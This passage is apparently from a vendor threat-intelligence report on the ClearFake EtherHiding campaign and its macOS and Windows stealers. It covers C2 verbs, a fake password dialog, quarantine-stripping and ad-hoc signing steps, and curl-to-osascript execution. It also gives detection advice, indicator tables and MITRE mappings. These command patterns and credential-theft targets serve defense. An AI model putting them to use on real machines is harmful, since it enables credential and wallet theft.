The agent runs an osascript loader that calls eth_call on a smart contract on a different blockchain with retry across multiple public RPC endpoints, ABI-decodes the result as a string, and uses it as the current C2 hostname. At initial capture time the contract returned couhe79[.]xyz (Cloudflare-fronted). By mid-October the operator had rotated to a new contract (0x2686ecea selector) resolving to secdarvin2026[.]icu, and the lure delivery expanded to compromised WordPress sites in the same ClickFix cluster.

Figure 17: Decoded layer-2 AppleScript showing the EtherHiding resolver, which issues an eth_call to the Polygon smart contract across four RPC endpoints, ABI decodes the returned C2 hostname, and POSTs the txid with the bmodule verb to the resolved domain, piping the response directly to osascript
The C2 protocol uses bare-flag POST bodies. Observed verbs include check (health probe), init (bash recon: hardware UUID, username, non-Apple installed-app list), connect (registration; newconnect triggers tccutil reset All, wiping TCC permission grants), bmodule (bootstrap AppleScript, 25,119 bytes), smodule (full stealer AppleScript, 197,736 bytes), lmodule (light stealer plus native-binary dropper, 192,961 bytes), and shell (arbitrary bash payload).
Stage 3 bootstraps a credential-harvest dialog titled "System Preferences" with the body "You must enter the password to continue:" (hidden answer field, 150-second timeout, infinite retry loop). The password is validated with dscl . authonly before acceptance and stored in plaintext at ~/.passphrase. If the account has no password set, the bmodule writes nopassphrase to the same file and skips the dialog entirely.
Once connected, the bmodule enters a 120 second task-polling loop (&task). The C2 responds with one of four directives: notasks (idle, keep polling), runloader (fetch and execute the full stealer via &smodule | osascript), runlight (fetch and execute the light stealer and native binary dropper via &lmodule | osascript), or openshell (fetch and execute an interactive bash shell via &shell | bash). The operator selects the payload per victim, and the bmodule continues polling after each dispatch with a 120 second delay between cycles.

Figure 18: The macOS module execution chain from ClickFix lure through exfiltration, showing the bmodule task-polling loop and dual-module delivery paths (smodule full stealer and lmodule light stealer with HackBrowserData native binary drop)
The smodule harvests Notes.app content, Safari cookies, login.keychain-db, and credential or wallet data across 80 or more targets including MetaMask, Phantom, Exodus, Ledger, Trezor, Electrum, Wasabi, Coinomi, Sparrow, BlueWallet, OKX, Keplr, Eternl, Coin98, Atomic, Enpass, LastPass, Proton Pass, Sticky Password, Firefox cookies, and extension IndexedDB and LevelDB storage. Staging is zipped and exfiltrated via curl to the C2, with a hard-coded fallback IP 62.60.226[.]50 if the primary fails or the zip exceeds 90 MB.
The lmodule additionally drops architecture-matched native Mach-O payloads downloaded from the C2 at /es-arm and /es-x86. Both are chmod +x, quarantine-stripped with xattr -dr com.apple.quarantine, ad-hoc code-signed with codesign --force --sign -, and executed with the harvested passphrase as argv. The binaries are compiled builds of HackBrowserData (github.com/moond4rk/hackbrowserdata), an open-source Go credential harvester targeting browser databases, Keychain entries, and extension storage. The operator builds from source with CGO_ENABLED=0 for both GOARCH=arm64 and GOARCH=amd64, targeting GOOS=darwin. The Go toolchain version at capture time was 1.27.1. Because each build produces a unique hash, the operator can recompile at will without modifying source code.
On-chain wallet analysis
The TENEX Threat Intelligence team pivoted each BSC-testnet contract to its owner wallet via a read-only eth_call to a public RPC endpoint (standard Ownable owner() selector 0x8da5cb5b). Three distinct wallets emerged, with very different activity profiles:
0x1824a963f6fa40c6d795ffa750e9b79c1fe82bca: owner of the Mordant C2 resolver contract. Nonce 2, consistent with one deploy plus one set() call initializing the C2 domain, and no activity since.
0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290: owner of the primary ClearFake router, Windows payload, and macOS payload contracts. Nonce 716,550, a transaction volume far exceeding plausible hand operation. Consistent with a programmatic, relayer, or service-like account used to carry the ClearFake kit deploys among many other actions. The owner of the ClearFake contracts is therefore not necessarily the actor who runs ClearFake day-to-day.
0x25a7625b3c74bb0452333c8d7f463a2f640fa5af: owner of the rotated ClearFake router contract. Nonce 31, consistent with a single-operator deployer. Distinct custody namespace from the primary ClearFake cluster owner.
The three wallets establish that Mordant, the primary ClearFake cluster, and the rotated ClearFake router each sit in a different custody namespace on BSC-testnet. This is consistent with multiple readings that the TENEX Threat Intelligence team cannot distinguish from the available evidence: three separate actors (Mordant acting as a WordPress-compromise service rented by one or more ClearFake operators); a single actor deliberately compartmentalizing by role for operational security; or a mix.
What defenders should do now
Network and blockchain
- Block BSC-testnet RPC endpoints from standard user segments. The EtherHiding chain requires a public RPC endpoint to reach the smart contracts. Legitimate use of a BNB test network from non-engineering business users is effectively zero; this one block kills the delivery for every compromised site in the operation, not just one. Safe to block: bsc-testnet-rpc.publicnode[.]com, data-seed-prebsc-1-s1.bnbchain[.]org, data-seed-prebsc-2-s1.binance[.]org, data-seed-prebsc-2-s2.binance[.]org, bsc-testnet-dataseed.bnbchain[.]org, bnb-testnet.api.onfinality[.]io, bsc-testnet.drpc[.]org, data-seed-prebsc-1-s1.binance[.]org. Allowlist dApp-development or security-research teams on a per-host basis.
- Block or alert on outbound traffic to Polygon mainnet RPC endpoints from non-browser processes: polygon.drpc[.]org, polygon.publicnode[.]com, polygon-mainnet.gateway.tatum[.]io, tenderly.rpc.polygon[.]community. The macOS branch resolves its C2 through these endpoints.
- Hunt endpoint and proxy logs for outbound traffic to these RPC endpoints from workstation IP ranges. Alert on first-seen from standard business user segments and correlate with endpoint telemetry.
Windows
- Hunt for the fileless behavior pattern: 32-bit powershell.exe spawning hidden children, MicrosoftEdgeUpdate.exe or rundll32.exe with RWX private memory pages, and powershell.exe-to-MicrosoftEdgeUpdate.exe parent-child pairs.
- Add detections for the ClickFix RunMRU artifact: Windows Run-dialog MRU entries containing irm or iex or jsdelivr or githubusercontent.
- Alert on PowerShell command lines containing both an irm or Invoke-RestMethod to raw.githubusercontent[.]com, cdn.jsdelivr[.]net, or fastly.jsdelivr[.]net and a pipe to iex or Invoke-Expression in the same process launch.
- Alert on PowerShell command lines containing quote-break patterns, e.g. c"d"n or g"h".
- Alert on PowerShell ScriptBlock Logging (Event ID 4104) matches for the string AMSI_RESULT_NOT_DETECTED, QueueUserAPC, or Reflection.Emit.AssemblyBuilder.
- Alert on the creation of the directory C:\Users\Public\.ff_tmp or process command lines containing -headless -no-remote -profile targeting a path under C:\Users\Public\. ACRStealer launches headless Firefox with these arguments to extract cookies from locked browser databases.
- Hunt for MicrosoftEdgeUpdate.exe or rundll32.exe processes with RWX private memory pages making outbound HTTPS connections to uncommon domains. In this chain, the ACRStealer payload executes entirely within the reflectively loaded process with no on-disk artifact.
macOS
- Alert on dscl . authonly executed by osascript or any non-system process. This command validates credentials against the local directory service and is rarely used outside system tools.
- Alert on creation of ~/.passphrase in any user home directory. This is not a standard macOS artifact and is the plaintext credential drop used by the bmodule.
- Alert on tccutil reset All executed outside of MDM provisioning or IT administration workflows. The bmodule runs this on first connection to wipe TCC permission grants.
- Hunt for LaunchAgent plist files with labels matching com.Apple.* (capital A). Legitimate Apple LaunchAgents use lowercase com.apple.*.
- Alert on curl output piped directly to osascript (curl -s https://<C2>/path | osascript). This is the remote AppleScript execution pattern used across all three modules.
- Hunt for ditto -c -k compressing user home directory paths to /tmp/*.zip, followed by curl POST to /upload.php with txid= in the form body.
- Alert on xattr -dr com.apple.quarantine followed by codesign --force --sign - on the same file. The lmodule uses this sequence to strip quarantine and ad-hoc sign downloaded Mach-O binaries before execution.
- Hunt for non-browser processes accessing NoteStore.sqlite (Notes.app database) or login.keychain-db.
WordPress site owners
- Grep across your account for the markers // ea_plug, // ea_mu, // _ea_al, // _ea_wc, /* _ea_wc_s */, likingdropout, wp-helper-[0-9a-f]{6}, _ea_sync, and id="_ea_s". Finding any of these indicates Mordant infection. Rebuilding from a known-clean backup predating the compromise and rotating all hosting credentials is the recommended path.
YARA rules
The TENEX Threat Intelligence team published YARA rules for both the Brambly loader shellcode and the ACRStealer payload:
- Brambly Loader: matches the reflective PE loader shellcode by its API hash seed, rolling XOR decryption loop, and aPLib decompression signatures.
- ACRStealer: matches the extracted PE payload by its custom hash function body, splitmix64 PRNG constants, and MurmurHash3 finalization sequence.
How the TENEX Threat Intelligence team responded
Our Threat Intelligence team analyzed the full operation from the compromised WordPress sites through the blockchain resolver layer to the downstream Windows and macOS loaders and through the ACRStealer payload itself, providing the technical detail published here. The ACRStealer analysis included a config extractor and payload decryptor for the Brambly loader, full C2 protocol mapping, and identification of novel DNS-over-HTTPS and headless-browser techniques not previously reported for this family.
Our SOC has been monitoring customer environments for the behavioral indicators described in this report.
When a customer forwards telemetry for us to review, we watch; when we find evidence of impact, we investigate and reach out directly.
Appendix A: Indicators of Compromise
ClearFake EtherHiding Contracts (BSC-testnet)
| Type | Indicator | Context |
|---|---|---|
| Smart contract | 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e (get() / 0x6d4ce63c) | ClearFake router; returns gzip-plus-base64 JS routing by OS |
| Smart contract | 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff (get()) | ClearFake Windows ClickFix builder |
| Smart contract | 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 (get()) | ClearFake macOS payload |
| Smart contract | 0xf4a32588b50a59a82fbA148d436081A48d80832A (0x24513bb6) | Per-victim on-chain conversion tracker |
| Smart contract | 0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437 (get()) | Rotated ClearFake router |
Mordant Backdoor
| Type | Indicator | Context |
|---|---|---|
| Domain | likingdropout[.]site | Mordant C2 (random subdomain, /panel/api/v1/metrics/collect) |
| Smart contract | 0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96 (0x38bd65e2) | Mordant C2 resolver (BSC-testnet) |
| File pattern | wp-content/plugins/wp-helper-[0-9a-f]{6}/ | Mordant fake plugin location |
| File pattern | wp-content/plugins/optinmonster-pro-256/js/bsc-loader.js | Mordant alternate injection pattern |
| Cron | ea_fleet_sync (interval 420 seconds) | Mordant WP-cron schedule |
| String markers | // ea_plug, // ea_mu, // _ea_al, // _ea_wc, /* _ea_wc_s */ | Mordant persistence markers |
| HTML marker | <script id="_ea_s" src="data:text/javascript;base64,..."> |
Client-side loader injection |
| HTTP headers | X-FER-Auth, X-MNS-Auth, X-M36-Auth | Mordant beacon authentication (varies per build) |
On-Chain Controller Wallets (BSC-testnet)
| Wallet | Role | Nonce |
|---|---|---|
| 0x1824a963f6fa40c6d795ffa750e9b79c1fe82bca | Mordant C2 resolver owner | 2 |
| 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 | Primary ClearFake cluster owner | 716,550 |
| 0x25a7625b3c74bb0452333c8d7f463a2f640fa5af | Rotated ClearFake router owner | 31 |
Windows Infrastructure (Brambly Loader)
| Type | Indicator | Context |
|---|---|---|
| GitHub user | 04FB-fF | Brambly delivery, first account (dormant since 2026-10-01) |
| GitHub user | 20fd0aE3E004 | Brambly delivery, rotated account (created 2026-10-05) |
| GitHub user | unwanted-gif | Observed delivery; account deleted |
| GitHub user | hangnail-lab | Observed delivery; account deleted |
| e438e@lazy-park-keeper[.]com | Commit author on 04FB-fF repos | |
| install@keeprox[.]com | Commit author on 20fd0aE3E004 repo | |
| GitHub user | 1c8-29210BCba4d9 | Brambly delivery, third account (2026-10-08) |
| GitHub user | FE-862D-698140fB | Brambly delivery, fourth account (2026-10-15) |
| GitHub user | 48Ac-825 | Brambly delivery, fifth account (2026-10-16) |
| GitHub user | adsr1163 | Brambly delivery, sixth account (2026-10-19) |
| GitHub user | sdf4563jvn | Brambly delivery, seventh account (2026-10-21, pre-staged before adsr1163 takedown) |
| CDN hostname | fastly.jsdelivr[.]net | jsDelivr CDN hostname variant used for payload delivery (rotation from cdn.jsdelivr[.]net) |
| @guard-loft[.]com | Commit author on 1c8-29210BCba4d9 repo | |
| wallace@syscousainc[.]global | Commit author on FE-862D-698140fB repo | |
| adrian@pyramid[.]beer | Commit author on 48Ac-825 repo | |
| adsr1163@proton[.]me | Commit author on adsr1163 repo | |
| sdf4563jvn@proton[.]me | Commit author on sdf4563jvn repos | |
| Domain | brambly[.]world | Stage-1 C2 (Cloudflare-fronted, UA-gated) |
| Domain | *.foxdale[.]cc | Stage-1 C2 family |
| Domain | *.gorsefield[.]cc | Stage-1 C2 family (GUID-prefixed subdomains) |
| Domain | *.selectivewilled[.]cc | Stage-1 C2 family (GUID-prefixed subdomains) |
| Domain | *.fasterflogging[.]cc | Stage-1 C2 family (GUID-prefixed subdomains, third apex rotation) |
| Domain | viewable[.]top | Legacy variant C2 (dead) |
ACRStealer Payload
| Type | Indicator | Context |
|---|---|---|
| SHA-256 | d08e4aa2053cd8a04027f6d626fcb9874d0b1a8cfc4b9c57cfdbd524a1061cf9 | ACRStealer (build a2E, v4.4.2) |
| SHA-256 | 8e0300cf9eccdc1225289fa643514c9aa006d29b35a16ba97f57bcd168deafd0 | ACRStealer (build stage4, v4.4.5) |
| SHA-256 | 85073b9c857317965dbaaa2b64dbd60985e9fe3126c139eba03d2f064dd181e1 | ACRStealer (build 160) |
| SHA-256 | b9bfceea379e7b9e3e8c90d38c27a290cf60b5fe4b042ce507977f319a94cb04 | ACRStealer (build foxdale, v4.4.6) |
| SHA-256 | 89bb5a8fe91e54cd99a9676296bba1426e162e1a99979773be89c1ed4bb3ae31 | ACRStealer (build 20261014, v4.4.7) |
| SHA-256 | 9530cd1c1f44affa2df3ecabf987a489d1f1955faf39af345ee97a7fe4419d5a | ACRStealer (build 20261022, v4.4.7-alpha1) |
| C2 domain | status.fernhollow[.]cc | ACRStealer C2 at capture time |
| C2 domain | audit.bitfetch[.]cc | ACRStealer C2 (rotated) |
| C2 domain | relay.reelxgrab[.]cc | ACRStealer C2 (build 20261022, v4.4.7-alpha1) |
| IPv4 | 89.185.84[.]124 | ACRStealer C2 resolved from dead drop (build 20261022) |
| Dead drop | hxxps://telegra[.]ph/C-Introduction-08-21 | Dead drop resolver page (3 copies in config) |
| Dead drop | hxxps://telegra[.]ph/Level-1-Your-context-and-tools-10-22 | Dead drop resolver page (build 20261022, 3 copies) |
| UUID | f1575b64-8492-4e8b-b102-4d26e8c70371 | Hardcoded build UUID |
| Config ID | acrid-v2-cfg-row | Internal config identifier |
| Version | 4.4.6-alpha1 | Self-reported build version |
| Campaign tag | campaign-default-CHANGE-PER-ENGAGEMENT | Builder placeholder (uncustomized) |
| Protocol | doh-txt-redirect-v1 | DoH protocol version string |
| C2 domain | media.hazelnook[.]cc | ACRStealer C2 (build a2E, v4.4.2-alpha1) |
| C2 domain | metrics.palefox[.]cc | ACRStealer C2 (build stage4, v4.4.5-alpha1) |
| C2 domain | proxy.cloudload[.]cc | ACRStealer C2 (build 20261014, v4.4.7-alpha1) |
| DDR delimiter | r.] ... )0( | Dead drop HTML start/end markers around base64 C2 IP |
| Beacon verb | GETWELL | C2 check-in command verb (field key: bt) |
| File path | C:\Users\Public\.ff_tmp | Headless Firefox temporary profile directory |
macOS Loader Infrastructure (sensa138)
| Type | Indicator | Context |
|---|---|---|
| Domain | sensa138[.]pro | macOS lure page (original) |
| Domain | couhe79[.]xyz | macOS C2 (Cloudflare-fronted, initial capture) |
| Domain | secdarvin2026[.]icu | macOS C2 (rotated, resolved from contract 2026-10-20) |
| Smart contract | 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (0x2686ecea) | Rotated sensa138 C2 resolver (Polygon mainnet) |
| IPv4 | 62.60.226[.]50 | macOS exfil fallback |
| Constant | txid 449db35025d5daddd4f540b850d1824c | Campaign-constant txid (initial builds) |
| Constant | txid 1e0a2f69c5e0481f116526131c3a9425 | Campaign-constant txid (rotated, 2026-10-20 build) |
| File | ~/Library/LaunchAgents/com.Apple.<random>.plist | macOS persistence (KeepAlive, RunAtLoad) |
| File | ~/.passphrase, ~/.txid | macOS victim artifacts |
| Behavior | tccutil reset All on newconnect | TCC-permissions wipe |
Reference Hashes
| Type | Hash | Context |
|---|---|---|
| SHA-256 | ca4717d84adc33c42fed4bd9f4656893a2f8892b943b250f5265cb6303b64371 | Brambly final shellcode (identical across first two accounts) |
| SHA-256 | d9c48debdb3ab8e4e5b1237ea0fe072df78de45f029697fad527bddbba3cb154 | Brambly final shellcode (2026-10-22 build, new payload) |
| SHA-256 | e5d6014b7163f89dc2996bba0b3b954ef5815bce83606ad7f042265b2b0727c0 | sensa138 macOS es-arm, initial capture (13.8 MB arm64 Mach-O, HackBrowserData) |
| SHA-256 | 72ca2de68251743334e3506872607005157d214afd58a380dd199cb1635a39c7 | sensa138 macOS es-x86, initial capture (14.5 MB x86_64 Mach-O, HackBrowserData) |
| SHA-256 | 96742c284aa7880a98810bbd2b2eb81d30f23e93f98c102e24d66d107046f096 | sensa138 macOS es-arm, rotated build from secdarvin2026[.]icu (13.8 MB arm64 Mach-O, HackBrowserData, Go 1.27.1) |
| SHA-256 | d379e574a2062930cf9ed958db5e49764cd0facb7f100f84beb565260785e998 | sensa138 macOS es-x86, rotated build from secdarvin2026[.]icu (14.5 MB x86_64 Mach-O, HackBrowserData, Go 1.27.1) |
| SHA-256 | 138f4758bf9550deadcaa9c91f5763f3e3356603710b4c875c48139caa922179 | sensa138 macOS early build (38,897 bytes, 2026-10-20) |
| SHA-256 | 5df19fa3091f646becb504c6b390760084178efcce3c2e926c3977e22be1ac88 | sensa138 bmodule from secdarvin2026[.]icu (24,689 bytes, bootstrap AppleScript) |
| SHA-256 | f45d10705ef38401f9b81777577c70587097e32073ea03f263723b6ee68313fd | sensa138 smodule from secdarvin2026[.]icu (201,220 bytes, full stealer AppleScript) |
| SHA-256 | 37032f2d3c0d42438986fdccadc47b13161b288861078dfef667eaea99a699d4 | sensa138 lmodule from secdarvin2026[.]icu (197,099 bytes, dropper AppleScript) |
Keys and Constants
| Type | Value | Context |
|---|---|---|
| XOR key | AMSI_RESULT_NOT_DETECTED | Brambly obfuscator XOR decryption key |
| Ascii85 alphabet | !#%&()*+,-./0-9:;<=>?@A-Z[]^_a-z | Brambly custom-Ascii85 alphabet |
| API-hash seed, multiplier | 0x35, 2870014623 | Brambly PowerShell-level API-resolution hash function |
| API-hash seed, multiplier | 0x6C6C6A62, 0x1F | Brambly shellcode-level API-resolution hash function (case-insensitive) |
| XOR key length | 128 bytes (rolling, at shellcode offset 0x5) | Brambly shellcode payload decryption key |
Appendix B: MITRE ATT&CK
| ID | Tactic | Technique | Context |
|---|---|---|---|
| T1189 | Initial Access | Drive-by Compromise | Victim visits compromised WordPress site; ClickFix lure served |
| T1204.004 | Execution | User Execution: Malicious Copy and Paste | Victim pastes the malicious command |
| T1059.001 | Execution | Command and Scripting Interpreter: PowerShell | powershell.exe with irm piped to iex |
| T1059.002 | Execution | Command and Scripting Interpreter: AppleScript | sensa138 multi-layer osascript loaders |
| T1059.004 | Execution | Command and Scripting Interpreter: Unix Shell | sensa138 curl piped to zsh |
| T1102 | Command and Control | Web Service | EtherHiding: eth_call to BSC-testnet (ClearFake/Mordant) and Polygon mainnet (sensa138) public RPC endpoints as dead-drop resolver |
| T1105 | Command and Control | Ingress Tool Transfer | irm to raw.githubusercontent[.]com, cdn.jsdelivr[.]net, and fastly.jsdelivr[.]net; curl to couhe79[.]xyz and secdarvin2026[.]icu |
| T1584.004 | Resource Development | Compromise Infrastructure: Server | Compromised WordPress sites across hosting providers |
| T1583.006 | Resource Development | Acquire Infrastructure: Web Services | Burn-and-replace GitHub accounts (04FB-fF, 20fd0aE3E004, 1c8-29210BCba4d9, FE-862D-698140fB, 48Ac-825, adsr1163, sdf4563jvn, unwanted-gif, hangnail-lab) for payload staging via jsDelivr |
| T1027 | Defense Evasion | Obfuscated Files or Information | Base64, gzip, custom-Base85/Ascii85, XOR, arithmetic junk |
| T1140 | Defense Evasion | Deobfuscate / Decode Files or Information | ABI-decode, base64, gzip, eval(atob); XOR with hard-coded keys |
| T1480 | Defense Evasion | Execution Guardrails | OS gating, headless-browser gating, per-IP on-chain conversion gate, TLS-fingerprint gating, UA gating |
| T1622 | Defense Evasion | Debugger Evasion | [Debugger]::IsAttached, Get-PSBreakpoint, call-stack depth checks |
| T1036.005 | Defense Evasion | Masquerading: Match Legitimate Name | Fake plugins optinmonster-pro-256 and wp-helper; injection into MicrosoftEdgeUpdate.exe |
| T1620 | Defense Evasion | Reflective Code Loading | Pure-PowerShell reflective injector with System.Reflection.Emit; shellcode-level reflective PE loader with import resolution, relocation, and TLS handling |
| T1027.002 | Defense Evasion | Obfuscated Files or Information: Software Packing | Shellcode payload encrypted with 128-byte rolling XOR key then LZ-compressed |
| T1106 | Execution | Native API | Shellcode resolves Win32 APIs by PEB walk and export-table hashing instead of GetProcAddress |
| T1564.003 | Defense Evasion | Hide Artifacts: Hidden Window | Hidden child PowerShell window |
| T1055.004 | Privilege Escalation | Process Injection: Asynchronous Procedure Call | Early-bird APC injection into MicrosoftEdgeUpdate.exe |
| T1543.001 | Persistence | Create or Modify System Process: Launch Agent | sensa138 macOS LaunchAgent |
| T1053.005 | Persistence | Scheduled Task / Job | Mordant WP-cron ea_fleet_sync |
| T1505.003 | Persistence | Server Software Component: Web Shell | Mordant PHP implant with arbitrary eval() |
| T1555.003 | Credential Access | Credentials from Password Stores: Web Browsers | sensa138 targets 80+ browsers, wallets, password managers |
| T1056.002 | Credential Access | Input Capture: GUI Input Capture | sensa138 fake "System Preferences" dialog |
| T1041 | Exfiltration | Exfiltration Over C2 Channel | sensa138 curl exfil to C2 |
| T1562.001 | Defense Evasion | Impair Defenses: Disable or Modify Tools | sensa138 tccutil reset All; ACRStealer ntdll unhooking and AMSI bypass |
| T1562.002 | Defense Evasion | Impair Defenses: Disable Windows Event Logging | ACRStealer ETW provider patching |
| T1071.001 | Command and Control | Application Layer Protocol: Web Protocols | ACRStealer DoH queries via HTTPS POST to public resolvers |
| T1568 | Command and Control | Dynamic Resolution | ACRStealer dead drop via Telegraph page; base64-encoded C2 IP between HTML delimiters |
| T1539 | Credential Access | Steal Web Session Cookie | ACRStealer headless Firefox and Chrome cookie extraction |
| T1555.003 | Credential Access | Credentials from Password Stores: Web Browsers | ACRStealer DPAPI master key extraction, AES-GCM decryption of Chromium credential databases |
| T1560.001 | Collection | Archive Collected Data: Archive via Utility | ACRStealer ZIP packaging before C2 exfiltration |
| T1082 | Discovery | System Information Discovery | ACRStealer GETWELL beacon: OS version, CPU, memory, display, domain, installed software, processes, drivers, network adapters |
Sources
- Trend Micro: "Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet," May 2026.
- Censys: "EtherHiding: Fake CAPTCHAs, Click-Fix Lures, Blockchain-Backed Payload Delivery," 2026.
- rmceoin: "ClearFake 2026," September 9, 2026.
- TENEX Threat Intelligence: "Brambly Shellcode Decryptor," October 2026.
- TENEX Threat Intelligence: "ACRStealer Configuration Extractor," October 2026.
- TENEX Threat Intelligence: "Brambly Loader YARA Rule," October 2026.
- TENEX Threat Intelligence: "ACRStealer YARA Rule," October 2026.
- Microsoft Threat Intelligence: "ClickFix browser cache smuggling campaign," October 2, 2026.
Disclaimer
The information provided in this blog is for educational and informational purposes only and does not constitute formal professional advice. While we strive for accuracy, TENEX makes no representations or warranties of any kind, express or implied, regarding the completeness, accuracy, reliability, or suitability of this information. Any reliance you place on such material is strictly at your own risk, and we disclaim all liability for any loss or damage arising from its use
Think you may have been exposed? Book a free 10-day Readiness Check from Wiz and TENEX.AI. https://tenex.ai/php2shell-readiness-check
Keep Up with TENEX.AI
Press Releases and Company News



